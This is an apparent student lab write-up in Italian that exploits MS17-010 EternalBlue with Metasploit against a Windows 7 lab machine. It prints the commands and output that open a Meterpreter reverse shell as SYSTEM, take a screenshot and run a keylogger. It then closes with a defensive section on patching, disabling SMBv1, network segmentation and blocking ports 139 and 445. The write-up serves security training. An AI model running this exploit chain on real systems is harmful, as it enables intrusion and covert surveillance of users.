

## W17D1 – Eternal Blue

### Esercizio obbligatorio

Per sfruttare la vulnerabilità MS17-010 Eternal Blue, ho aperto la console di Metasploit con "msfconsole" e con "search" ho cercato un modulo adeguato per l'exploit di questa vulnerabilità con questo codice.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ msfconsole  
Metasploit tip: After running db_nmap, be sure to check out the result  
of hosts and services  
  
3Kom SuperHack II Logon  
  
User Name: [ security ]  
Password: [ ]  
  
[ OK ]  
  
https://metasploit.com  
  
-[ metasploit v6.3.55-dev ]  
+ -- 2397 exploits - 1235 auxiliary - 422 post ]  
+ -- 1391 payloads - 46 encoders - 11 nops ]  
+ -- 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > search ms17-010  
  
Matching Modules  
  
# Name Disclosure Date Rank Check Description  
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corrup  
tion
```

Ho abilitato il modulo exploit/windows/smb/ms17\_010\_eternalblue con "use" ed ho visualizzato le opzioni di configurazione necessarie con "show options".

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ msfconsole  
Metasploit tip: After running db_nmap, be sure to check out the result  
of hosts and services  
  
3Kom SuperHack II Logon  
  
User Name: [ security ]  
Password: [ ]  
  
[ OK ]  
  
https://metasploit.com  
  
-[ metasploit v6.3.55-dev ]  
+ -- 2397 exploits - 1235 auxiliary - 422 post ]  
+ -- 1391 payloads - 46 encoders - 11 nops ]  
+ -- 9 evasion ]  
  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > use exploit/windows/smb/ms17_010_eternalblue  
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp  
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options  
  
Module options (exploit/windows/smb/ms17_010_eternalblue):  
  
Name Current Setting Required Description  
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas  
ploit.html  
RPORT 445 yes The target port (TCP)  
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2  
, Windows 7, Windows Embedded Standard 7 target machines.  
SMBPass no (Optional) The password for the specified username  
SMBUser no (Optional) The username to authenticate as  
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Wi  
ndows 7, Windows Embedded Standard 7 target machines.  
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, W  
indows Embedded Standard 7 target machines.  
  
Payload options (windows/x64/meterpreter/reverse_tcp):  
  
Name Current Setting Required Description  
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)  
LHOST 192.168.50.100 yes The listen address (an interface may be specified)  
LPORT 4444 yes The listen port  
  
Exploit target:  
  
Id Name  
0 Automatic Target  
  
View the full module info with the info, or info -d command.
```

L'unica opzione di configurazione obbligatoria era quella relativa all'IP della macchina target, che ho settato con "set RHOSTS IP di Windows". Per il resto, LHOST, RPORT ed LPORT erano già configurati correttamente e non vi erano altri parametri obbligatori da configurare. Con "exploit" ho lanciato l'exploit e si è aperta correttamente la shell di Meterpreter.

```
kali@kali: ~  
File Actions Edit View Help  
View the full module info with the info, or info -d command.  
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.50.102  
RHOSTS => 192.168.50.102  
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit  
[*] Started reverse TCP handler on 192.168.50.100:4444  
[*] 192.168.50.102:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check  
[*] 192.168.50.102:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)  
[*] 192.168.50.102:445 - Scanned 1 of 1 hosts (100% complete)  
[*] 192.168.50.102:445 - The target is vulnerable.  
[*] 192.168.50.102:445 - Connecting to target for exploitation.  
[*] 192.168.50.102:445 - Connection established for exploitation.  
[*] 192.168.50.102:445 - Target OS selected valid for OS indicated by SMB reply  
[*] 192.168.50.102:445 - CORE raw buffer dump (42 bytes)  
[*] 192.168.50.102:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes  
[*] 192.168.50.102:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv  
[*] 192.168.50.102:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1  
[*] 192.168.50.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply  
[*] 192.168.50.102:445 - Trying exploit with 12 Groom Allocations.  
[*] 192.168.50.102:445 - Sending all but last fragment of exploit packet  
[*] 192.168.50.102:445 - Starting non-paged pool grooming  
[*] 192.168.50.102:445 - Sending SMBv2 buffers  
[*] 192.168.50.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.  
[*] 192.168.50.102:445 - Sending final SMBv2 buffers.  
[*] 192.168.50.102:445 - Sending last fragment of exploit packet!  
[*] 192.168.50.102:445 - Receiving response from exploit packet  
[*] 192.168.50.102:445 - ETHERNALBLUE overwrite completed successfully (0xC000000D)!  
[*] 192.168.50.102:445 - Sending egg to corrupted connection.  
[*] 192.168.50.102:445 - Triggering free of corrupted buffer.  
[*] Sending stage (201798 bytes) to 192.168.50.102  
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.102:49159) at 2024-09-10 11:44:54 -0400  
[*] 192.168.50.102:445 - -----  
[*] 192.168.50.102:445 - -----WIN-----  
[*] 192.168.50.102:445 - -----  
meterpreter > screenshot  
Screenshot saved to: /home/kali/PFqgVzlp.jpeg  
meterpreter > webcam_list
```

A questo punto ho iniziato a lanciare i comandi richiesti nella consegna dell'esercizio. Con "screenshot" ho scattato uno screenshot dello schermo della macchina vittima, nella quale avevo precedentemente aperto il terminale. Lo screenshot è stato salvato correttamente.

```
meterpreter > screenshot  
Screenshot saved to: /home/kali/PFqgVzlp.jpeg  
meterpreter > webcam_list
```

Ho cercato di accedere alla webcam con "webcam\_list", ma non essendoci delle webcam collegato ho visualizzato il messaggio che non sono state trovate delle webcam e quindi non ho potuto eseguire ulteriori comandi.

```
meterpreter > webcam_list  
[-] No webcams were found
```

Ho lanciato un keylogger con "keyscan\_start" e poi ho fatto un dump della tastiera con "keyscan\_dump", che serve per vedere cosa è stato catturato dal keylogger. Ho infine fermato il keylogger con "keyscan\_stop".

```

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes ...

meterpreter > keyscan_stop
Stopping the keystroke sniffer ...
meterpreter > 

```

Ho provato ad eseguire anche altri comandi per essere certa di essere entrata nella macchina target. Con "sysinfo" ho visualizzato le informazioni del sistema, vedendo che si tratta di Windows 7 con un'architettura x64.

```

meterpreter > sysinfo
Computer      : UTENTE-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : it_IT
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

```

Con "route" ho visualizzato le informazioni di routing della macchina.

```

meterpreter > route

IPv4 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.50.1	266	11
127.0.0.0	255.0.0.0	127.0.0.1	306	1
127.0.0.1	255.255.255.255	127.0.0.1	306	1
127.255.255.255	255.255.255.255	127.0.0.1	306	1
192.168.50.0	255.255.255.0	192.168.50.102	266	11
192.168.50.102	255.255.255.255	192.168.50.102	266	11
192.168.50.255	255.255.255.255	192.168.50.102	266	11
224.0.0.0	240.0.0.0	127.0.0.1	306	1
224.0.0.0	240.0.0.0	192.168.50.102	266	11
255.255.255.255	255.255.255.255	127.0.0.1	306	1
255.255.255.255	255.255.255.255	192.168.50.102	266	11

```

IPv6 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
::1	ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff	::	306	1
fe80::	ffff:ffff:ffff:ffff:ffff:ffff::	::	306	11
fe80::5efe:c0a8:3266	ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff	::	306	12
fe80::480e:9b1f:2c57:5735	ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff	::	306	11
ff00::	ff00::	::	306	1
ff00::	ff00::	::	306	11

Infine, con "ifconfig" ho trovato la configurazione di rete della macchina, ed effettivamente ho trovato l'IP di Windows 192.168.50.102.

```
meterpreter > ifconfig

Interface 1
=====
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11
=====
Name       : Scheda desktop Intel(R) PRO/1000 MT
Hardware MAC : 08:00:27:f7:52:4b
MTU        : 1500
IPv4 Address : 192.168.50.102
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::480e:9b1f:2c57:5735
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 12
=====
Name       : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv6 Address : fe80::5efe:c0a8:3266
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

## Esercizio facoltativo

Esistono varie strade da percorrere per risolvere la vulnerabilità Eternal Blue MS17-010, che consentono di mitigare temporaneamente il problema, di limitare l'accesso e i movimenti laterali in un sistema già compromesso, di risolvere solamente questa vulnerabilità e di risolvere invece completamente questa vulnerabilità. Per risolvere completamente questa vulnerabilità, è necessario scaricare la patch di sicurezza MS17-010, rilasciata appositamente da Windows nel marzo 2017. Questa patch corregge la vulnerabilità e protegge i sistemi da attacchi simili a quelli basati su Eternal Blue e deve essere scaricata in tutti i sistemi vulnerabili, anche se i sistemi legacy potrebbero avere dei problemi. Questo è il modo più efficace per risolvere completamente in modo permanente la vulnerabilità MS17-010 e richiede uno sforzo medio per la pianificazione, il test e la distribuzione dell'aggiornamento, specie se si deve aggiornare più di una macchina. Questa è la soluzione migliore e da preferire, anche se esistono dei modi per la risoluzione della sola vulnerabilità. Si può disabilitare il protocollo SMBv1 sui sistemi vulnerabili: Eternal Blue sfrutta, infatti, una vulnerabilità nel protocollo SMBv1 e disabilitare questa versione di questo protocollo risolve questa vulnerabilità e basta. Si possono provare questi comandi: `Set-SmbServerConfiguration -EnableSMB1Protocol $false` `Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol`. Questa azione richiede uno sforzo medio-basso, perché può essere fatto tramite policy di gruppo previa verifica della compatibilità, dato che per i sistemi più vecchi potrebbe non essere possibile disabilitare SMBv1. Qualora il sistema fosse già stato attaccato, è comunque possibile limitare l'accesso e i movimenti laterali dell'attaccante e vi sono varie soluzioni per ottenere questo risultato. Per prima cosa, si può ricorrere alla segmentazione della rete, suddividendo quindi la rete in segmenti che rendono più difficile per un attaccante passare da un segmento all'altro, anziché avere accesso da

subito a tutte le macchine nella rete. La segmentazione può essere usata per proteggere macchine o dispositivi particolarmente importanti e si può impostare anche con quali dispositivi è possibile comunicare, effettuando un controllo ed una limitazione delle comunicazioni, specialmente quando devono avvenire con un protocollo vulnerabile come SMBv1. Si possono utilizzare VLAN, firewall interni ed access control lists (ACL) e lo sforzo richiesto è alto, perché sono necessarie conoscenze solide della rete. È inoltre possibile utilizzare un firewall interno per limitare il traffico SMB, oppure limitare, sempre con un firewall, le comunicazioni sia interne che esterne che avvengono tramite il protocollo vulnerabile SMB. Si può anche bloccare esternamente la porta 445 a livello perimetrale ed internamente consentire il traffico solo se necessario tra dispositivi sicuri. In questo modo, un attaccante dall'esterno non riesce a sfruttare la vulnerabilità di SMBv1 e, se è già penetrato nel sistema, non riesce ad utilizzare questo protocollo tra i dispositivi interni alla rete. Anche in questo caso lo sforzo richiesto è alto, perché serve una conoscenza approfondita dei controlli di rete. Per limitare il movimento dell'attaccante nella rete e per prevenire questi attacchi, è possibile anche effettuare un monitoraggio avanzato della rete per controllare eventuali attività sospette collegate ad un exploit. Anche in questo caso lo sforzo richiesto è alto perché richiede una certa progettazione ed implementazione dei controlli di rete necessari, oltre alla conoscenza dei tool da usare. Si possono utilizzare degli host-based intrusion prevention system, detti anche HIPS, che riconoscono e bloccano eventuali tentativi di exploit, fermando anche gli attacchi che sfruttano MS17-010. Vi sono anche Lateral Movement Detection Tools come Windows Event Logging oppure altri EDR, endpoint detection and response, che riconoscono i segnali di tentativi di movimento laterale e permettono di individuare i primi segnali di un attacco, prendendo subito delle misure per limitare i danni e proteggersi. Tra le modalità per limitare il movimento laterale di un attaccante dentro la rete, si può pensare ad usare un application whitelisting per utilizzare solo applicazioni e connessioni sicure, limitare i privilegi degli utenti se non necessario ed applicare una politica sicura per le password o l'autenticazione a più fattori. Questi accorgimenti non sono utili direttamente contro Eternal Blue, ma sono comunque delle misure di sicurezza utili in generale che aiutano anche contro MS17-010. Infine, se serve implementare delle misure temporanee in caso di exploit, è necessario bloccare le porte TCP 139 e 445 a livello di firewall perimetrale e questa misura è abbastanza facile da implementare.